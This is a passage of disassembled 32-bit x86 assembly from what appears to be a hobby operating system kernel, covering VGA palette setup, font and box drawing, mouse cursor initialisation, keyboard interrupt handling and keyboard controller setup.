0666 _ C3 ; show_mouse_info End of function initBootInfo:; Function begin push ebp ; 0667 _ 55 mov ebp, esp ; 0668 _ 89. E5 mov eax, dword [ebp+8H] ; 066A _ 8B. 45, 08 mov dword [eax], 655360 ; 066D _ C7. 00, 000A0000 mov eax, dword [ebp+8H] ; 0673 _ 8B. 45, 08 ; Note: Length-changing prefix causes delay on Intel processors mov word [eax+4H], 320 ; 0676 _ 66: C7. 40, 04, 0140 mov eax, dword [ebp+8H] ; 067C _ 8B. 45, 08 ; Note: Length-changing prefix causes delay on Intel processors mov word [eax+6H], 200 ; 067F _ 66: C7. 40, 06, 00C8 pop ebp ; 0685 _ 5D ret ; 0686 _ C3 ; initBootInfo End of function showString:; Function begin push ebp ; 0687 _ 55 mov ebp, esp ; 0688 _ 89. E5 sub esp, 24 ; 068A _ 83. EC, 18 mov eax, dword [ebp+18H] ; 068D _ 8B. 45, 18 mov byte [ebp-0CH], al ; 0690 _ 88. 45, F4 jmp ?_011 ; 0693 _ EB, 37 ?_010: mov eax, dword [ebp+1CH] ; 0695 _ 8B. 45, 1C movzx eax, byte [eax] ; 0698 _ 0F B6. 00 movzx eax, al ; 069B _ 0F B6. C0 shl eax, 4 ; 069E _ C1. E0, 04 lea edx, [systemFont+eax] ; 06A1 _ 8D. 90, 00000000(d) movsx eax, byte [ebp-0CH] ; 06A7 _ 0F BE. 45, F4 sub esp, 8 ; 06AB _ 83. EC, 08 push edx ; 06AE _ 52 push eax ; 06AF _ 50 push dword [ebp+14H] ; 06B0 _ FF. 75, 14 push dword [ebp+10H] ; 06B3 _ FF. 75, 10 push dword [ebp+0CH] ; 06B6 _ FF. 75, 0C push dword [ebp+8H] ; 06B9 _ FF. 75, 08 call showFont8 ; 06BC _ E8, FFFFFFFC(rel) add esp, 32 ; 06C1 _ 83. C4, 20 add dword [ebp+10H], 8 ; 06C4 _ 83. 45, 10, 08 add dword [ebp+1CH], 1 ; 06C8 _ 83. 45, 1C, 01 ?_011: mov eax, dword [ebp+1CH] ; 06CC _ 8B. 45, 1C movzx eax, byte [eax] ; 06CF _ 0F B6. 00 test al, al ; 06D2 _ 84. C0 jnz ?_010 ; 06D4 _ 75, BF leave ; 06D6 _ C9 ret ; 06D7 _ C3 ; showString End of function init_palette:; Function begin push ebp ; 06D8 _ 55 mov ebp, esp ; 06D9 _ 89. E5 sub esp, 8 ; 06DB _ 83. EC, 08 sub esp, 4 ; 06DE _ 83. EC, 04 push table_rgb.1583 ; 06E1 _ 68, 00000020(d) push 15 ; 06E6 _ 6A, 0F push 0 ; 06E8 _ 6A, 00 call set_palette ; 06EA _ E8, FFFFFFFC(rel) add esp, 16 ; 06EF _ 83. C4, 10 nop ; 06F2 _ 90 leave ; 06F3 _ C9 ret ; 06F4 _ C3 ; init_palette End of function set_palette:; Function begin push ebp ; 06F5 _ 55 mov ebp, esp ; 06F6 _ 89. E5 sub esp, 24 ; 06F8 _ 83. EC, 18 call io_load_eflags ; 06FB _ E8, FFFFFFFC(rel) mov dword [ebp-0CH], eax ; 0700 _ 89. 45, F4 call io_cli ; 0703 _ E8, FFFFFFFC(rel) sub esp, 8 ; 0708 _ 83. EC, 08 push dword [ebp+8H] ; 070B _ FF. 75, 08 push 968 ; 070E _ 68, 000003C8 call io_out8 ; 0713 _ E8, FFFFFFFC(rel) add esp, 16 ; 0718 _ 83. C4, 10 mov eax, dword [ebp+8H] ; 071B _ 8B. 45, 08 mov dword [ebp-10H], eax ; 071E _ 89. 45, F0 jmp ?_013 ; 0721 _ EB, 65 ?_012: mov eax, dword [ebp+10H] ; 0723 _ 8B. 45, 10 movzx eax, byte [eax] ; 0726 _ 0F B6. 00 shr al, 2 ; 0729 _ C0. E8, 02 movzx eax, al ; 072C _ 0F B6. C0 sub esp, 8 ; 072F _ 83. EC, 08 push eax ; 0732 _ 50 push 969 ; 0733 _ 68, 000003C9 call io_out8 ; 0738 _ E8, FFFFFFFC(rel) add esp, 16 ; 073D _ 83. C4, 10 mov eax, dword [ebp+10H] ; 0740 _ 8B. 45, 10 add eax, 1 ; 0743 _ 83. C0, 01 movzx eax, byte [eax] ; 0746 _ 0F B6. 00 shr al, 2 ; 0749 _ C0. E8, 02 movzx eax, al ; 074C _ 0F B6. C0 sub esp, 8 ; 074F _ 83. EC, 08 push eax ; 0752 _ 50 push 969 ; 0753 _ 68, 000003C9 call io_out8 ; 0758 _ E8, FFFFFFFC(rel) add esp, 16 ; 075D _ 83. C4, 10 mov eax, dword [ebp+10H] ; 0760 _ 8B. 45, 10 add eax, 2 ; 0763 _ 83. C0, 02 movzx eax, byte [eax] ; 0766 _ 0F B6. 00 shr al, 2 ; 0769 _ C0. E8, 02 movzx eax, al ; 076C _ 0F B6. C0 sub esp, 8 ; 076F _ 83. EC, 08 push eax ; 0772 _ 50 push 969 ; 0773 _ 68, 000003C9 call io_out8 ; 0778 _ E8, FFFFFFFC(rel) add esp, 16 ; 077D _ 83. C4, 10 add dword [ebp+10H], 3 ; 0780 _ 83. 45, 10, 03 add dword [ebp-10H], 1 ; 0784 _ 83. 45, F0, 01 ?_013: mov eax, dword [ebp-10H] ; 0788 _ 8B. 45, F0 cmp eax, dword [ebp+0CH] ; 078B _ 3B. 45, 0C jle ?_012 ; 078E _ 7E, 93 sub esp, 12 ; 0790 _ 83. EC, 0C push dword [ebp-0CH] ; 0793 _ FF. 75, F4 call io_store_eflags ; 0796 _ E8, FFFFFFFC(rel) add esp, 16 ; 079B _ 83. C4, 10 nop ; 079E _ 90 leave ; 079F _ C9 ret ; 07A0 _ C3 ; set_palette End of function boxfill8:; Function begin push ebp ; 07A1 _ 55 mov ebp, esp ; 07A2 _ 89. E5 sub esp, 20 ; 07A4 _ 83. EC, 14 mov eax, dword [ebp+10H] ; 07A7 _ 8B. 45, 10 mov byte [ebp-14H], al ; 07AA _ 88. 45, EC mov eax, dword [ebp+18H] ; 07AD _ 8B. 45, 18 mov dword [ebp-4H], eax ; 07B0 _ 89. 45, FC jmp ?_017 ; 07B3 _ EB, 33 ?_014: mov eax, dword [ebp+14H] ; 07B5 _ 8B. 45, 14 mov dword [ebp-8H], eax ; 07B8 _ 89. 45, F8 jmp ?_016 ; 07BB _ EB, 1F ?_015: mov eax, dword [ebp-4H] ; 07BD _ 8B. 45, FC imul eax, dword [ebp+0CH] ; 07C0 _ 0F AF. 45, 0C mov edx, eax ; 07C4 _ 89. C2 mov eax, dword [ebp-8H] ; 07C6 _ 8B. 45, F8 add eax, edx ; 07C9 _ 01. D0 mov edx, eax ; 07CB _ 89. C2 mov eax, dword [ebp+8H] ; 07CD _ 8B. 45, 08 add edx, eax ; 07D0 _ 01. C2 movzx eax, byte [ebp-14H] ; 07D2 _ 0F B6. 45, EC mov byte [edx], al ; 07D6 _ 88. 02 add dword [ebp-8H], 1 ; 07D8 _ 83. 45, F8, 01 ?_016: mov eax, dword [ebp-8H] ; 07DC _ 8B. 45, F8 cmp eax, dword [ebp+1CH] ; 07DF _ 3B. 45, 1C jle ?_015 ; 07E2 _ 7E, D9 add dword [ebp-4H], 1 ; 07E4 _ 83. 45, FC, 01 ?_017: mov eax, dword [ebp-4H] ; 07E8 _ 8B. 45, FC cmp eax, dword [ebp+20H] ; 07EB _ 3B. 45, 20 jle ?_014 ; 07EE _ 7E, C5 leave ; 07F0 _ C9 ret ; 07F1 _ C3 ; boxfill8 End of function showFont8:; Function begin push ebp ; 07F2 _ 55 mov ebp, esp ; 07F3 _ 89. E5 sub esp, 20 ; 07F5 _ 83. EC, 14 mov eax, dword [ebp+18H] ; 07F8 _ 8B. 45, 18 mov byte [ebp-14H], al ; 07FB _ 88. 45, EC mov dword [ebp-4H], 0 ; 07FE _ C7. 45, FC, 00000000 jmp ?_027 ; 0805 _ E9, 0000016C ?_018: mov edx, dword [ebp-4H] ; 080A _ 8B. 55, FC mov eax, dword [ebp+1CH] ; 080D _ 8B. 45, 1C add eax, edx ; 0810 _ 01. D0 movzx eax, byte [eax] ; 0812 _ 0F B6. 00 mov byte [ebp-5H], al ; 0815 _ 88. 45, FB cmp byte [ebp-5H], 0 ; 0818 _ 80. 7D, FB, 00 jns ?_019 ; 081C _ 79, 20 mov edx, dword [ebp+14H] ; 081E _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 0821 _ 8B. 45, FC add eax, edx ; 0824 _ 01. D0 imul eax, dword [ebp+0CH] ; 0826 _ 0F AF. 45, 0C mov edx, eax ; 082A _ 89. C2 mov eax, dword [ebp+10H] ; 082C _ 8B. 45, 10 add eax, edx ; 082F _ 01. D0 mov edx, eax ; 0831 _ 89. C2 mov eax, dword [ebp+8H] ; 0833 _ 8B. 45, 08 add edx, eax ; 0836 _ 01. C2 movzx eax, byte [ebp-14H] ; 0838 _ 0F B6. 45, EC mov byte [edx], al ; 083C _ 88. 02 ?_019: movsx eax, byte [ebp-5H] ; 083E _ 0F BE. 45, FB and eax, 40H ; 0842 _ 83. E0, 40 test eax, eax ; 0845 _ 85. C0 jz ?_020 ; 0847 _ 74, 21 mov edx, dword [ebp+14H] ; 0849 _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 084C _ 8B. 45, FC add eax, edx ; 084F _ 01. D0 imul eax, dword [ebp+0CH] ; 0851 _ 0F AF. 45, 0C mov edx, eax ; 0855 _ 89. C2 mov eax, dword [ebp+10H] ; 0857 _ 8B. 45, 10 add eax, edx ; 085A _ 01. D0 lea edx, [eax+1H] ; 085C _ 8D. 50, 01 mov eax, dword [ebp+8H] ; 085F _ 8B. 45, 08 add edx, eax ; 0862 _ 01. C2 movzx eax, byte [ebp-14H] ; 0864 _ 0F B6. 45, EC mov byte [edx], al ; 0868 _ 88. 02 ?_020: movsx eax, byte [ebp-5H] ; 086A _ 0F BE. 45, FB and eax, 20H ; 086E _ 83. E0, 20 test eax, eax ; 0871 _ 85. C0 jz ?_021 ; 0873 _ 74, 21 mov edx, dword [ebp+14H] ; 0875 _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 0878 _ 8B. 45, FC add eax, edx ; 087B _ 01. D0 imul eax, dword [ebp+0CH] ; 087D _ 0F AF. 45, 0C mov edx, eax ; 0881 _ 89. C2 mov eax, dword [ebp+10H] ; 0883 _ 8B. 45, 10 add eax, edx ; 0886 _ 01. D0 lea edx, [eax+2H] ; 0888 _ 8D. 50, 02 mov eax, dword [ebp+8H] ; 088B _ 8B. 45, 08 add edx, eax ; 088E _ 01. C2 movzx eax, byte [ebp-14H] ; 0890 _ 0F B6. 45, EC mov byte [edx], al ; 0894 _ 88. 02 ?_021: movsx eax, byte [ebp-5H] ; 0896 _ 0F BE. 45, FB and eax, 10H ; 089A _ 83. E0, 10 test eax, eax ; 089D _ 85. C0 jz ?_022 ; 089F _ 74, 21 mov edx, dword [ebp+14H] ; 08A1 _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 08A4 _ 8B. 45, FC add eax, edx ; 08A7 _ 01. D0 imul eax, dword [ebp+0CH] ; 08A9 _ 0F AF. 45, 0C mov edx, eax ; 08AD _ 89. C2 mov eax, dword [ebp+10H] ; 08AF _ 8B. 45, 10 add eax, edx ; 08B2 _ 01. D0 lea edx, [eax+3H] ; 08B4 _ 8D. 50, 03 mov eax, dword [ebp+8H] ; 08B7 _ 8B. 45, 08 add edx, eax ; 08BA _ 01. C2 movzx eax, byte [ebp-14H] ; 08BC _ 0F B6. 45, EC mov byte [edx], al ; 08C0 _ 88. 02 ?_022: movsx eax, byte [ebp-5H] ; 08C2 _ 0F BE. 45, FB and eax, 08H ; 08C6 _ 83. E0, 08 test eax, eax ; 08C9 _ 85. C0 jz ?_023 ; 08CB _ 74, 21 mov edx, dword [ebp+14H] ; 08CD _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 08D0 _ 8B. 45, FC add eax, edx ; 08D3 _ 01. D0 imul eax, dword [ebp+0CH] ; 08D5 _ 0F AF. 45, 0C mov edx, eax ; 08D9 _ 89. C2 mov eax, dword [ebp+10H] ; 08DB _ 8B. 45, 10 add eax, edx ; 08DE _ 01. D0 lea edx, [eax+4H] ; 08E0 _ 8D. 50, 04 mov eax, dword [ebp+8H] ; 08E3 _ 8B. 45, 08 add edx, eax ; 08E6 _ 01. C2 movzx eax, byte [ebp-14H] ; 08E8 _ 0F B6. 45, EC mov byte [edx], al ; 08EC _ 88. 02 ?_023: movsx eax, byte [ebp-5H] ; 08EE _ 0F BE. 45, FB and eax, 04H ; 08F2 _ 83. E0, 04 test eax, eax ; 08F5 _ 85. C0 jz ?_024 ; 08F7 _ 74, 21 mov edx, dword [ebp+14H] ; 08F9 _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 08FC _ 8B. 45, FC add eax, edx ; 08FF _ 01. D0 imul eax, dword [ebp+0CH] ; 0901 _ 0F AF. 45, 0C mov edx, eax ; 0905 _ 89. C2 mov eax, dword [ebp+10H] ; 0907 _ 8B. 45, 10 add eax, edx ; 090A _ 01. D0 lea edx, [eax+5H] ; 090C _ 8D. 50, 05 mov eax, dword [ebp+8H] ; 090F _ 8B. 45, 08 add edx, eax ; 0912 _ 01. C2 movzx eax, byte [ebp-14H] ; 0914 _ 0F B6. 45, EC mov byte [edx], al ; 0918 _ 88. 02 ?_024: movsx eax, byte [ebp-5H] ; 091A _ 0F BE. 45, FB and eax, 02H ; 091E _ 83. E0, 02 test eax, eax ; 0921 _ 85. C0 jz ?_025 ; 0923 _ 74, 21 mov edx, dword [ebp+14H] ; 0925 _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 0928 _ 8B. 45, FC add eax, edx ; 092B _ 01. D0 imul eax, dword [ebp+0CH] ; 092D _ 0F AF. 45, 0C mov edx, eax ; 0931 _ 89. C2 mov eax, dword [ebp+10H] ; 0933 _ 8B. 45, 10 add eax, edx ; 0936 _ 01. D0 lea edx, [eax+6H] ; 0938 _ 8D. 50, 06 mov eax, dword [ebp+8H] ; 093B _ 8B. 45, 08 add edx, eax ; 093E _ 01. C2 movzx eax, byte [ebp-14H] ; 0940 _ 0F B6. 45, EC mov byte [edx], al ; 0944 _ 88. 02 ?_025: movsx eax, byte [ebp-5H] ; 0946 _ 0F BE. 45, FB and eax, 01H ; 094A _ 83. E0, 01 test eax, eax ; 094D _ 85. C0 jz ?_026 ; 094F _ 74, 21 mov edx, dword [ebp+14H] ; 0951 _ 8B. 55, 14 mov eax, dword [ebp-4H] ; 0954 _ 8B. 45, FC add eax, edx ; 0957 _ 01. D0 imul eax, dword [ebp+0CH] ; 0959 _ 0F AF. 45, 0C mov edx, eax ; 095D _ 89. C2 mov eax, dword [ebp+10H] ; 095F _ 8B. 45, 10 add eax, edx ; 0962 _ 01. D0 lea edx, [eax+7H] ; 0964 _ 8D. 50, 07 mov eax, dword [ebp+8H] ; 0967 _ 8B. 45, 08 add edx, eax ; 096A _ 01. C2 movzx eax, byte [ebp-14H] ; 096C _ 0F B6. 45, EC mov byte [edx], al ; 0970 _ 88. 02 ?_026: add dword [ebp-4H], 1 ; 0972 _ 83. 45, FC, 01 ?_027: cmp dword [ebp-4H], 15 ; 0976 _ 83. 7D, FC, 0F jle ?_018 ; 097A _ 0F 8E, FFFFFE8A leave ; 0980 _ C9 ret ; 0981 _ C3 ; showFont8 End of function init_mouse_cursor:; Function begin push ebp ; 0982 _ 55 mov ebp, esp ; 0983 _ 89. E5 sub esp, 20 ; 0985 _ 83. EC, 14 mov eax, dword [ebp+0CH] ; 0988 _ 8B. 45, 0C mov byte [ebp-14H], al ; 098B _ 88. 45, EC mov dword [ebp-4H], 0 ; 098E _ C7. 45, FC, 00000000 jmp ?_034 ; 0995 _ E9, 000000B1 ?_028: mov dword [ebp-8H], 0 ; 099A _ C7. 45, F8, 00000000 jmp ?_033 ; 09A1 _ E9, 00000097 ?_029: mov eax, dword [ebp-4H] ; 09A6 _ 8B. 45, FC shl eax, 4 ; 09A9 _ C1. E0, 04 mov edx, eax ; 09AC _ 89. C2 mov eax, dword [ebp-8H] ; 09AE _ 8B. 45, F8 add eax, edx ; 09B1 _ 01. D0 add eax, cursor.1630 ; 09B3 _ 05, 00000080(d) movzx eax, byte [eax] ; 09B8 _ 0F B6. 00 cmp al, 42 ; 09BB _ 3C, 2A jnz ?_030 ; 09BD _ 75, 17 mov eax, dword [ebp-4H] ; 09BF _ 8B. 45, FC shl eax, 4 ; 09C2 _ C1. E0, 04 mov edx, eax ; 09C5 _ 89. C2 mov eax, dword [ebp-8H] ; 09C7 _ 8B. 45, F8 add eax, edx ; 09CA _ 01. D0 mov edx, eax ; 09CC _ 89. C2 mov eax, dword [ebp+8H] ; 09CE _ 8B. 45, 08 add eax, edx ; 09D1 _ 01. D0 mov byte [eax], 0 ; 09D3 _ C6. 00, 00 ?_030: mov eax, dword [ebp-4H] ; 09D6 _ 8B. 45, FC shl eax, 4 ; 09D9 _ C1. E0, 04 mov edx, eax ; 09DC _ 89. C2 mov eax, dword [ebp-8H] ; 09DE _ 8B. 45, F8 add eax, edx ; 09E1 _ 01. D0 add eax, cursor.1630 ; 09E3 _ 05, 00000080(d) movzx eax, byte [eax] ; 09E8 _ 0F B6. 00 cmp al, 79 ; 09EB _ 3C, 4F jnz ?_031 ; 09ED _ 75, 17 mov eax, dword [ebp-4H] ; 09EF _ 8B. 45, FC shl eax, 4 ; 09F2 _ C1. E0, 04 mov edx, eax ; 09F5 _ 89. C2 mov eax, dword [ebp-8H] ; 09F7 _ 8B. 45, F8 add eax, edx ; 09FA _ 01. D0 mov edx, eax ; 09FC _ 89. C2 mov eax, dword [ebp+8H] ; 09FE _ 8B. 45, 08 add eax, edx ; 0A01 _ 01. D0 mov byte [eax], 7 ; 0A03 _ C6. 00, 07 ?_031: mov eax, dword [ebp-4H] ; 0A06 _ 8B. 45, FC shl eax, 4 ; 0A09 _ C1. E0, 04 mov edx, eax ; 0A0C _ 89. C2 mov eax, dword [ebp-8H] ; 0A0E _ 8B. 45, F8 add eax, edx ; 0A11 _ 01. D0 add eax, cursor.1630 ; 0A13 _ 05, 00000080(d) movzx eax, byte [eax] ; 0A18 _ 0F B6. 00 cmp al, 46 ; 0A1B _ 3C, 2E jnz ?_032 ; 0A1D _ 75, 1A mov eax, dword [ebp-4H] ; 0A1F _ 8B. 45, FC shl eax, 4 ; 0A22 _ C1. E0, 04 mov edx, eax ; 0A25 _ 89. C2 mov eax, dword [ebp-8H] ; 0A27 _ 8B. 45, F8 add eax, edx ; 0A2A _ 01. D0 mov edx, eax ; 0A2C _ 89. C2 mov eax, dword [ebp+8H] ; 0A2E _ 8B. 45, 08 add edx, eax ; 0A31 _ 01. C2 movzx eax, byte [ebp-14H] ; 0A33 _ 0F B6. 45, EC mov byte [edx], al ; 0A37 _ 88. 02 ?_032: add dword [ebp-8H], 1 ; 0A39 _ 83. 45, F8, 01 ?_033: cmp dword [ebp-8H], 15 ; 0A3D _ 83. 7D, F8, 0F jle ?_029 ; 0A41 _ 0F 8E, FFFFFF5F add dword [ebp-4H], 1 ; 0A47 _ 83. 45, FC, 01 ?_034: cmp dword [ebp-4H], 15 ; 0A4B _ 83. 7D, FC, 0F jle ?_028 ; 0A4F _ 0F 8E, FFFFFF45 leave ; 0A55 _ C9 ret ; 0A56 _ C3 ; init_mouse_cursor End of function putblock:; Function begin push ebp ; 0A57 _ 55 mov ebp, esp ; 0A58 _ 89. E5 sub esp, 16 ; 0A5A _ 83. EC, 10 mov dword [ebp-4H], 0 ; 0A5D _ C7. 45, FC, 00000000 jmp ?_038 ; 0A64 _ EB, 50 ?_035: mov dword [ebp-8H], 0 ; 0A66 _ C7. 45, F8, 00000000 jmp ?_037 ; 0A6D _ EB, 3B ?_036: mov edx, dword [ebp+1CH] ; 0A6F _ 8B. 55, 1C mov eax, dword [ebp-4H] ; 0A72 _ 8B. 45, FC add eax, edx ; 0A75 _ 01. D0 imul eax, dword [ebp+0CH] ; 0A77 _ 0F AF. 45, 0C mov ecx, dword [ebp+18H] ; 0A7B _ 8B. 4D, 18 mov edx, dword [ebp-8H] ; 0A7E _ 8B. 55, F8 add edx, ecx ; 0A81 _ 01. CA add eax, edx ; 0A83 _ 01. D0 mov edx, eax ; 0A85 _ 89. C2 mov eax, dword [ebp+8H] ; 0A87 _ 8B. 45, 08 add edx, eax ; 0A8A _ 01. C2 mov eax, dword [ebp-4H] ; 0A8C _ 8B. 45, FC imul eax, dword [ebp+24H] ; 0A8F _ 0F AF. 45, 24 mov ecx, eax ; 0A93 _ 89. C1 mov eax, dword [ebp-8H] ; 0A95 _ 8B. 45, F8 add eax, ecx ; 0A98 _ 01. C8 mov ecx, eax ; 0A9A _ 89. C1 mov eax, dword [ebp+20H] ; 0A9C _ 8B. 45, 20 add eax, ecx ; 0A9F _ 01. C8 movzx eax, byte [eax] ; 0AA1 _ 0F B6. 00 mov byte [edx], al ; 0AA4 _ 88. 02 add dword [ebp-8H], 1 ; 0AA6 _ 83. 45, F8, 01 ?_037: mov eax, dword [ebp-8H] ; 0AAA _ 8B. 45, F8 cmp eax, dword [ebp+10H] ; 0AAD _ 3B. 45, 10 jl ?_036 ; 0AB0 _ 7C, BD add dword [ebp-4H], 1 ; 0AB2 _ 83. 45, FC, 01 ?_038: mov eax, dword [ebp-4H] ; 0AB6 _ 8B. 45, FC cmp eax, dword [ebp+14H] ; 0AB9 _ 3B. 45, 14 jl ?_035 ; 0ABC _ 7C, A8 leave ; 0ABE _ C9 ret ; 0ABF _ C3 ; putblock End of function intHandlerFromC:; Function begin push ebp ; 0AC0 _ 55 mov ebp, esp ; 0AC1 _ 89. E5 sub esp, 24 ; 0AC3 _ 83. EC, 18 mov eax, dword [bootInfo] ; 0AC6 _ A1, 00000100(d) mov dword [ebp-14H], eax ; 0ACB _ 89. 45, EC movzx eax, word [?_095] ; 0ACE _ 0F B7. 05, 00000104(d) cwde ; 0AD5 _ 98 mov dword [ebp-10H], eax ; 0AD6 _ 89. 45, F0 movzx eax, word [?_096] ; 0AD9 _ 0F B7. 05, 00000106(d) cwde ; 0AE0 _ 98 mov dword [ebp-0CH], eax ; 0AE1 _ 89. 45, F4 sub esp, 8 ; 0AE4 _ 83. EC, 08 push 32 ; 0AE7 _ 6A, 20 push 32 ; 0AE9 _ 6A, 20 call io_out8 ; 0AEB _ E8, FFFFFFFC(rel) add esp, 16 ; 0AF0 _ 83. C4, 10 mov byte [ebp-15H], 0 ; 0AF3 _ C6. 45, EB, 00 sub esp, 12 ; 0AF7 _ 83. EC, 0C push 96 ; 0AFA _ 6A, 60 call io_in8 ; 0AFC _ E8, FFFFFFFC(rel) add esp, 16 ; 0B01 _ 83. C4, 10 mov byte [ebp-15H], al ; 0B04 _ 88. 45, EB movzx eax, byte [ebp-15H] ; 0B07 _ 0F B6. 45, EB sub esp, 8 ; 0B0B _ 83. EC, 08 push eax ; 0B0E _ 50 push keyinfo ; 0B0F _ 68, 00000108(d) call fifo8_put ; 0B14 _ E8, FFFFFFFC(rel) add esp, 16 ; 0B19 _ 83. C4, 10 nop ; 0B1C _ 90 leave ; 0B1D _ C9 ret ; 0B1E _ C3 ; intHandlerFromC End of function charToHexVal:; Function begin push ebp ; 0B1F _ 55 mov ebp, esp ; 0B20 _ 89. E5 sub esp, 4 ; 0B22 _ 83. EC, 04 mov eax, dword [ebp+8H] ; 0B25 _ 8B. 45, 08 mov byte [ebp-4H], al ; 0B28 _ 88. 45, FC cmp byte [ebp-4H], 9 ; 0B2B _ 80. 7D, FC, 09 jle ?_039 ; 0B2F _ 7E, 09 movzx eax, byte [ebp-4H] ; 0B31 _ 0F B6. 45, FC add eax, 55 ; 0B35 _ 83. C0, 37 jmp ?_040 ; 0B38 _ EB, 07 ?_039: movzx eax, byte [ebp-4H] ; 0B3A _ 0F B6. 45, FC add eax, 48 ; 0B3E _ 83. C0, 30 ?_040: leave ; 0B41 _ C9 ret ; 0B42 _ C3 ; charToHexVal End of function charToHexStr:; Function begin push ebp ; 0B43 _ 55 mov ebp, esp ; 0B44 _ 89. E5 sub esp, 20 ; 0B46 _ 83. EC, 14 mov eax, dword [ebp+8H] ; 0B49 _ 8B. 45, 08 mov byte [ebp-14H], al ; 0B4C _ 88. 45, EC mov dword [ebp-4H], 0 ; 0B4F _ C7. 45, FC, 00000000 movzx eax, byte [ebp-14H] ; 0B56 _ 0F B6. 45, EC and eax, 0FH ; 0B5A _ 83. E0, 0F mov byte [ebp-5H], al ; 0B5D _ 88. 45, FB movsx eax, byte [ebp-5H] ; 0B60 _ 0F BE. 45, FB push eax ; 0B64 _ 50 call charToHexVal ; 0B65 _ E8, FFFFFFFC(rel) add esp, 4 ; 0B6A _ 83. C4, 04 mov byte [?_094], al ; 0B6D _ A2, 00000007(d) movzx eax, byte [ebp-14H] ; 0B72 _ 0F B6. 45, EC shr al, 4 ; 0B76 _ C0. E8, 04 mov byte [ebp-14H], al ; 0B79 _ 88. 45, EC movzx eax, byte [ebp-14H] ; 0B7C _ 0F B6. 45, EC movsx eax, al ; 0B80 _ 0F BE. C0 push eax ; 0B83 _ 50 call charToHexVal ; 0B84 _ E8, FFFFFFFC(rel) add esp, 4 ; 0B89 _ 83. C4, 04 mov byte [?_093], al ; 0B8C _ A2, 00000006(d) mov eax, keyval ; 0B91 _ B8, 00000004(d) leave ; 0B96 _ C9 ret ; 0B97 _ C3 ; charToHexStr End of function intToHexStr:; Function begin push ebp ; 0B98 _ 55 mov ebp, esp ; 0B99 _ 89. E5 sub esp, 16 ; 0B9B _ 83. EC, 10 mov byte [str.1678], 48 ; 0B9E _ C6. 05, 00000220(d), 30 mov byte [?_097], 88 ; 0BA5 _ C6. 05, 00000221(d), 58 mov byte [?_098], 0 ; 0BAC _ C6. 05, 0000022A(d), 00 mov dword [ebp-0CH], 2 ; 0BB3 _ C7. 45, F4, 00000002 jmp ?_042 ; 0BBA _ EB, 0F ?_041: mov eax, dword [ebp-0CH] ; 0BBC _ 8B. 45, F4 add eax, str.1678 ; 0BBF _ 05, 00000220(d) mov byte [eax], 48 ; 0BC4 _ C6. 00, 30 add dword [ebp-0CH], 1 ; 0BC7 _ 83. 45, F4, 01 ?_042: cmp dword [ebp-0CH], 9 ; 0BCB _ 83. 7D, F4, 09 jle ?_041 ; 0BCF _ 7E, EB mov dword [ebp-8H], 9 ; 0BD1 _ C7. 45, F8, 00000009 jmp ?_046 ; 0BD8 _ EB, 42 ?_043: mov eax, dword [ebp+8H] ; 0BDA _ 8B. 45, 08 and eax, 0FH ; 0BDD _ 83. E0, 0F mov dword [ebp-4H], eax ; 0BE0 _ 89. 45, FC mov eax, dword [ebp+8H] ; 0BE3 _ 8B. 45, 08 shr eax, 4 ; 0BE6 _ C1. E8, 04 mov dword [ebp+8H], eax ; 0BE9 _ 89. 45, 08 cmp dword [ebp-4H], 9 ; 0BEC _ 83. 7D, FC, 09 jle ?_044 ; 0BF0 _ 7E, 14 mov eax, dword [ebp-4H] ; 0BF2 _ 8B. 45, FC add eax, 55 ; 0BF5 _ 83. C0, 37 mov edx, eax ; 0BF8 _ 89. C2 mov eax, dword [ebp-8H] ; 0BFA _ 8B. 45, F8 add eax, str.1678 ; 0BFD _ 05, 00000220(d) mov byte [eax], dl ; 0C02 _ 88. 10 jmp ?_045 ; 0C04 _ EB, 12 ?_044: mov eax, dword [ebp-4H] ; 0C06 _ 8B. 45, FC add eax, 48 ; 0C09 _ 83. C0, 30 mov edx, eax ; 0C0C _ 89. C2 mov eax, dword [ebp-8H] ; 0C0E _ 8B. 45, F8 add eax, str.1678 ; 0C11 _ 05, 00000220(d) mov byte [eax], dl ; 0C16 _ 88. 10 ?_045: sub dword [ebp-8H], 1 ; 0C18 _ 83. 6D, F8, 01 ?_046: cmp dword [ebp-8H], 1 ; 0C1C _ 83. 7D, F8, 01 jle ?_047 ; 0C20 _ 7E, 06 cmp dword [ebp+8H], 0 ; 0C22 _ 83. 7D, 08, 00 jnz ?_043 ; 0C26 _ 75, B2 ?_047: mov eax, str.1678 ; 0C28 _ B8, 00000220(d) leave ; 0C2D _ C9 ret ; 0C2E _ C3 ; intToHexStr End of function wait_KBC_sendready:; Function begin push ebp ; 0C2F _ 55 mov ebp, esp ; 0C30 _ 89. E5 sub esp, 8 ; 0C32 _ 83. EC, 08 ?_048: sub esp, 12 ; 0C35 _ 83. EC, 0C push 100 ; 0C38 _ 6A, 64 call io_in8 ; 0C3A _ E8, FFFFFFFC(rel) add esp, 16 ; 0C3F _ 83. C4, 10 and eax, 02H ; 0C42 _ 83. E0, 02 test eax, eax ; 0C45 _ 85. C0 jnz ?_049 ; 0C47 _ 75, 02 jmp ?_050 ; 0C49 _ EB, 02 ?_049: jmp ?_048 ; 0C4B _ EB, E8 ?_050: leave ; 0C4D _ C9 ret ; 0C4E _ C3 ; wait_KBC_sendready End of function init_keyboard:; Function begin push ebp ; 0C4F _ 55 mov ebp, esp ; 0C50 _ 89. E5 sub esp, 8 ; 0C52 _ 83. EC, 08 call wait_KBC_sendready ; 0C55 _ E8, FFFFFFFC(rel) sub esp, 8 ; 0C5A _ 83. EC, 08 push 96 ; 0C5D _ 6A, 60 push 100 ; 0C5F _ 6A, 64 call io_out8 ; 0C61 _ E8, FFFFFFFC(rel) add esp, 16 ; 0C66 _ 83. C4, 10 call wait_KBC_sendready ; 0C69 _ E8, FFFFFFFC(rel) sub esp, 8 ; 0C6E _ 83. EC, 08 push 71 ; 0C71 _ 6A, 47 push 96 ; 0C73 _ 6A, 60 call io_out8 ; 0C75 _ E8, FFFFFFFC(rel) add esp, 16 ; 0C7A _ 83. C4, 10 nop ; 0C7D _ 90 leave ; 0C7E _ C9 ret ; 0C7F _ C3 ; init_keyboard End of function enable_mouse:; Function begin push ebp ; 0C80 _ 55 mov ebp, esp ; 0C81 _ 89. E5 sub esp, 8 ; 0C83 _ 83. EC, 08 call 